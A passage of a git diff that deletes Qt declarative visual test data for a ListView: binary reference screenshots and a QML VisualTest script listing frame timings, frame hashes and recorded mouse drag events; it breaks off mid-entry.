diff --git a/tests/auto/declarative/visual/ListView/data/listview.2.png b/tests/auto/declarative/visual/ListView/data/listview.2.png deleted file mode 100644 index 579c68c..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.3.png b/tests/auto/declarative/visual/ListView/data/listview.3.png deleted file mode 100644 index b3a7260..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.4.png b/tests/auto/declarative/visual/ListView/data/listview.4.png deleted file mode 100644 index 19758b0..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.5.png b/tests/auto/declarative/visual/ListView/data/listview.5.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.6.png b/tests/auto/declarative/visual/ListView/data/listview.6.png deleted file mode 100644 index 82cac48..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.6.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.7.png b/tests/auto/declarative/visual/ListView/data/listview.7.png deleted file mode 100644 index 9277a82..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.7.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.8.png b/tests/auto/declarative/visual/ListView/data/listview.8.png deleted file mode 100644 index 8c36da7..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.8.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.9.png b/tests/auto/declarative/visual/ListView/data/listview.9.png deleted file mode 100644 index 581e824..0000000 Binary files a/tests/auto/declarative/visual/ListView/data/listview.9.png and /dev/null differ diff --git a/tests/auto/declarative/visual/ListView/data/listview.qml b/tests/auto/declarative/visual/ListView/data/listview.qml deleted file mode 100644 index cd5d7b4..0000000 --- a/tests/auto/declarative/visual/ListView/data/listview.qml +++ /dev/null @@ -1,3079 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 32 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 48 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 64 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 80 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 96 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 112 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 128 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 144 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 160 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 176 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 192 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 208 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 224 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 240 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 256 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 272 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 288 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 304 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 320 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 336 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 352 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 368 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 384 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 400 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 416 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 432 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 448 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 464 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 480 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 496 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 512 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 528 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 544 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 560 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 576 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 592 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 608 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 624 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 640 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 656 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 672 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 688 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 704 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 720 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 736 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 752 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 768 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 784 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 800 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 816 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 832 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 848 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 864 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 880 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 896 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 912 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 928 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 944 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 960 - image: "listview.0.png" - } - Frame { - msec: 976 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 992 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1008 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1024 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1040 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1056 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1072 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1088 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1104 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1120 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1136 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1152 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1168 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1184 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1200 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1216 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1232 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1248 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1264 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1280 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1296 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1312 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1328 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1344 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1360 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1376 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1392 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1408 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1424 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1440 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1456 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1472 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1488 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1504 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1520 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1536 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1552 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1568 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1584 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1600 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1616 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1632 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1648 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1664 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1680 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1696 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1712 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1728 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1744 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1760 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1776 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1792 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1808 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1824 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1840 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1856 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1872 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1888 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1904 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1920 - image: "listview.1.png" - } - Frame { - msec: 1936 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1952 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1968 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 1984 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2000 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2016 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2032 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2048 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2064 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2080 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2096 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2112 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2128 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2144 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2160 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2176 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2192 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2208 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2224 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2240 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2256 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2272 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2288 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2304 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2320 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2336 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2352 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2368 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2384 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2400 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2416 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2432 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2448 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2464 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2480 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2496 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2512 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2528 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2544 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2560 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2576 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2592 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 553; y: 267 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2608 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Frame { - msec: 2624 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 554; y: 267 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 555; y: 266 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2640 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 556; y: 265 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 558; y: 260 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2656 - hash: "3b88645092be28037fca4a6034f5b2f7" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 560; y: 256 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2672 - hash: "c315e184c4dcb11d7e9fd4509a8b6a1f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 562; y: 250 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 566; y: 234 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2688 - hash: "aeef1cacca9518408519b670443e396f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 568; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2704 - hash: "621626927f83bf7b36b78f5ca7ed4ed0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 572; y: 192 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 572; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2720 - hash: "b2aca965b745e98365195c52b9dd9a2c" - } - Frame { - msec: 2736 - hash: "b80cc493e604c42aca2367e26bc9e844" - } - Frame { - msec: 2752 - hash: "39165ad87fc687e0f165f8a2675173b5" - } - Frame { - msec: 2768 - hash: "edd1da7c34c3eb7f1f16b782dfa41a13" - } - Frame { - msec: 2784 - hash: "d31a7915cdb2a7f392e6edc3047a6606" - } - Frame { - msec: 2800 - hash: "3038dbb3fe3c255adcbecfc106bacb99" - } - Frame { - msec: 2816 - hash: "454137c508d76f2c38b8007247420b81" - } - Frame { - msec: 2832 - hash: "16eb385d3ce3b186745974500f855a97" - } - Frame { - msec: 2848 - hash: "8871fded1fbbdcb0fdfdaa2e6eecc3d1" - } - Frame { - msec: 2864 - hash: "f49955dab8341e7ca472c3f547cbeaab" - } - Frame { - msec: 2880 - image: "listview.2.png" - } - Frame { - msec: 2896 - hash: "c0ef41c682fa9802c9eb74fd249cfd40" - } - Frame { - msec: 2912 - hash: "6174fea6ef04fbcefd32d6a0b35a3514" - } - Frame { - msec: 2928 - hash: "7b2288a8be7b3c465e725aeb5788e91f" - } - Frame { - msec: 2944 - hash: "b39d8cb650ee00c245b556235843490b" - } - Frame { - msec: 2960 - hash: "9478ea0bf640924931d627cd8b607eba" - } - Frame { - msec: 2976 - hash: "39743788f56c6f5c29fa9549e586d1ae" - } - Frame { - msec: 2992 - hash: "ec8ab3547e10d18e9493b8fae5125591" - } - Frame { - msec: 3008 - hash: "169b115d03db8c901db4f4c2909a18d3" - } - Frame { - msec: 3024 - hash: "bf438b17a1e8df6d6bb05474cacd12a7" - } - Frame { - msec: 3040 - hash: "2aad06334128659e143c4c6c8415a30b" - } - Frame { - msec: 3056 - hash: "ea0e8d7387b9b54a47bb99c058093462" - } - Frame { - msec: 3072 - hash: "e483e585399a47490599ca265cf73000" - } - Frame { - msec: 3088 - hash: "43bed4aac1a2a9b66eafefc117424500" - } - Frame { - msec: 3104 - hash: "ba5c36add368938f8134a0a88e599c00" - } - Frame { - msec: 3120 - hash: "c905be5276a871bd1ac392580231c9e4" - } - Frame { - msec: 3136 - hash: "0c96d9b0119513c1f327f9e6651e89cd" - } - Frame { - msec: 3152 - hash: "c4ba0836dbb900600f8f4aed42eb1ea1" - } - Frame { - msec: 3168 - hash: "253d014f89a616032664f29f268cfd85" - } - Frame { - msec: 3184 - hash: "a5185192d7db7c4a4c8bec6cb5a2a73a" - } - Frame { - msec: 3200 - hash: "d453cc5b89d3fa00586cc41d5a9a8092" - } - Frame { - msec: 3216 - hash: "b3c39c0c06643612681b098101458d32" - } - Frame { - msec: 3232 - hash: "09beec410a0ca7c47fe08991341aea0c" - } - Frame { - msec: 3248 - hash: "c13c269b384029d04a05fd0170e5909e" - } - Frame { - msec: 3264 - hash: "cafe360c512ab92804dc1fddae9b8fb6" - } - Frame { - msec: 3280 - hash: "26dfe538a7edc8f43af1d78e678f3dfa" - } - Frame { - msec: 3296 - hash: "11e03f6901a4bdbc1eabe72b1ddbee4b" - } - Frame { - msec: 3312 - hash: "0ea8886b1256649665a1597f62cc633b" - } - Frame { - msec: 3328 - hash: "013c34be077fb689333df9b04a931b3a" - } - Frame { - msec: 3344 - hash: "d0e9f1d147e0767c12a89f33b5f2b5b3" - } - Frame { - msec: 3360 - hash: "9888bf29cd868bad6b2593842413b283" - } - Frame { - msec: 3376 - hash: "d8ec307a85cecaacaa908ceb34d5db5b" - } - Frame { - msec: 3392 - hash: "4afe1df3e802b41d1b89b5fab4e35190" - } - Frame { - msec: 3408 - hash: "e8f484ed8d2a6745ee87ac9544281d55" - } - Frame { - msec: 3424 - hash: "48eaa0644a27cb3e53c75bd0ce08bf47" - } - Frame { - msec: 3440 - hash: "f1523d82dfc5c136fbe8746449bb5013" - } - Frame { - msec: 3456 - hash: "d664786f1a79f851e72aa48ee6736374" - } - Frame { - msec: 3472 - hash: "e43bb6d0374c8bab67b5fafcaeb2a205" - } - Frame { - msec: 3488 - hash: "77ef61827c993b16691a023e99cc7f7e" - } - Frame { - msec: 3504 - hash: "6198e0d242db79e81fb81f621c78a3c9" - } - Frame { - msec: 3520 - hash: "a66b4773ef05ca78aa12e2c8a151c53a" - } - Frame { - msec: 3536 - hash: "52fa0b693c3de208e5943521eef5587c" - } - Frame { - msec: 3552 - hash: "0e237f706f9c2c4c616271f9b9d014e5" - } - Frame { - msec: 3568 - hash: "14edd1dc2371a9aadaa3c079d325fab6" - } - Frame { - msec: 3584 - hash: "1fe873b07ee24edaea224939e10830f1" - } - Frame { - msec: 3600 - hash: "30804b5eb2a6d99116475cbdc1a9c043" - } - Frame { - msec: 3616 - hash: "c892c17ec947a910b74f5b8704405e9f" - } - Frame { - msec: 3632 - hash: "696029b77512943001c9eba64191e633" - } - Frame { - msec: 3648 - hash: "4c26bb0ca28d74a2bb79d0bfc8127361" - } - Frame { - msec: 3664 - hash: "2d1539db88647d73b9c53cde7c424dd7" - } - Frame { - msec: 3680 - hash: "fd20e4259b44357c93f22f35c698fe1b" - } - Frame { - msec: 3696 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3712 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3728 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3744 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3760 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3776 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3792 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3808 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3824 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3840 - image: "listview.3.png" - } - Frame { - msec: 3856 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3872 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3888 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3904 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3920 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3936 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3952 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3968 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 3984 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4000 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4016 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4032 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4048 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4064 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4080 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4096 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4112 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4128 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Frame { - msec: 4144 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 521; y: 24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4160 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4176 - hash: "5d49efe1383065f0b88f1bfdbbe5e165" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 32 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 37 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "a5df688148c264de1d376c9b87ddfa6b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4208 - hash: "a4e2c1878b0afce0ee1eebd63e9c951a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 66 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4224 - hash: "2f9a79278d492790ef86a09c77e95ff4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 531; y: 136 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 531; y: 136 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4240 - hash: "5b5ce7206b26528157c426f4e1e3e0a8" - } - Frame { - msec: 4256 - hash: "65a1e5f81ab89b163aed46b984cca45e" - } - Frame { - msec: 4272 - hash: "e28253ad5a2415251b68bcda1d7d4bd0" - } - Frame { - msec: 4288 - hash: "71aae5abb4a9e9077053ea21dd3ec315" - } - Frame { - msec: 4304 - hash: "33fcea38fc3b328b3294f9ac2a26aa1a" - } - Frame { - msec: 4320 - hash: "6299eb1d87f371966307668b92de6a0b" - } - Frame { - msec: 4336 - hash: "4f66d8c7cb6971d0fc24089d123c547b" - } - Frame { - msec: 4352 - hash: "d9906d61b31fabf968290ebcd6688f34" - } - Frame { - msec: 4368 - hash: "5a1945993ff8096ba6b933d45586044a" - } - Frame { - msec: 4384 - hash: "331535e54da9bbdbc2fbf2b244ad0199" - } - Frame { - msec: 4400 - hash: "4dc39de0c54f6e0b77f94f6ae6c345ec" - } - Frame { - msec: 4416 - hash: "ec309a298ce246c13eb666488eb75016" - } - Frame { - msec: 4432 - hash: "a133819f8adc6265eb0e438261c869e3" - } - Frame { - msec: 4448 - hash: "da4d64fd6b3ae7d49ee5c5c8d0117a37" - } - Frame { - msec: 4464 - hash: "620dd1c3fc41ce657eac9d1a5b765fd4" - } - Frame { - msec: 4480 - hash: "ff1c370bd1bf75a98ae7125e7dd5a9db" - } - Frame { - msec: 4496 - hash: "59c6e4297109b5cc7c197749867dddae" - } - Frame { - msec: 4512 - hash: "91b1719e86529d0c35a53a2d0a095dd6" - } - Frame { - msec: 4528 - hash: "2994663d35c9eb453a27c1a1fa9aeeb8" - } - Frame { - msec: 4544 - hash: "ae4ec37b9f6a00b3c9139e5cfe13d32e" - } - Frame { - msec: 4560 - hash: "a98340236d1b65f47e88684168c1429d" - } - Frame { - msec: 4576 - hash: "34848b483ea6a2bd412e29d26beb3ab0" - } - Frame { - msec: 4592 - hash: "dd9bae0e2fca84b265d8cb59686ff88d" - } - Frame { - msec: 4608 - hash: "18b6ef6f5913b0612b76e7b2e25073dd" - } - Frame { - msec: 4624 - hash: "9398aab9478279aed1bc40c9378f8da4" - } - Frame { - msec: 4640 - hash: "a297a304c12102f23bd1e0f0207e0df9" - } - Frame { - msec: 4656 - hash: "091db9138cd6ae801ad857105a83c8f9" - } - Frame { - msec: 4672 - hash: "253938ca4a4f13433ddd502eb94cb7cd" - } - Frame { - msec: 4688 - hash: "6002df1793d290e4e31ee0c91c37bbe6" - } - Frame { - msec: 4704 - hash: "212476fa1c3a52fb8eba03ec3aecdcd8" - } - Frame { - msec: 4720 - hash: "80d4d8434d4e96a2bc23f5ed060d6ddc" - } - Frame { - msec: 4736 - hash: "2d4add725f31a04558635ce4b73a758a" - } - Frame { - msec: 4752 - hash: "57c06022ec1e502c4f49f43063c433e7" - } - Frame { - msec: 4768 - hash: "8393e97990993f9d5f68ea65f8e4a2db" - } - Frame { - msec: 4784 - hash: "9a1fcd96dffaf5c79ecc7f9427e02499" - } - Frame { - msec: 4800 - image: "listview.4.png" - } - Frame { - msec: 4816 - hash: "5ae722cf541e3453e73bbee57dc379e9" - } - Frame { - msec: 4832 - hash: "fc7326c2e2e56d9c3036e8dfc2ea77a8" - } - Frame { - msec: 4848 - hash: "f22a2a68cea158f333b0457025d75490" - } - Frame { - msec: 4864 - hash: "d684c8aa9b835779080f170cafead40f" - } - Frame { - msec: 4880 - hash: "dd451e5e421f929d015981bc7aeb8c66" - } - Frame { - msec: 4896 - hash: "d066f228295db7f46520495167d3e946" - } - Frame { - msec: 4912 - hash: "ebf640a457e3498bade3220aafa70331" - } - Frame { - msec: 4928 - hash: "190f5b1f3ce9d200790c34c50bcc62c5" - } - Frame { - msec: 4944 - hash: 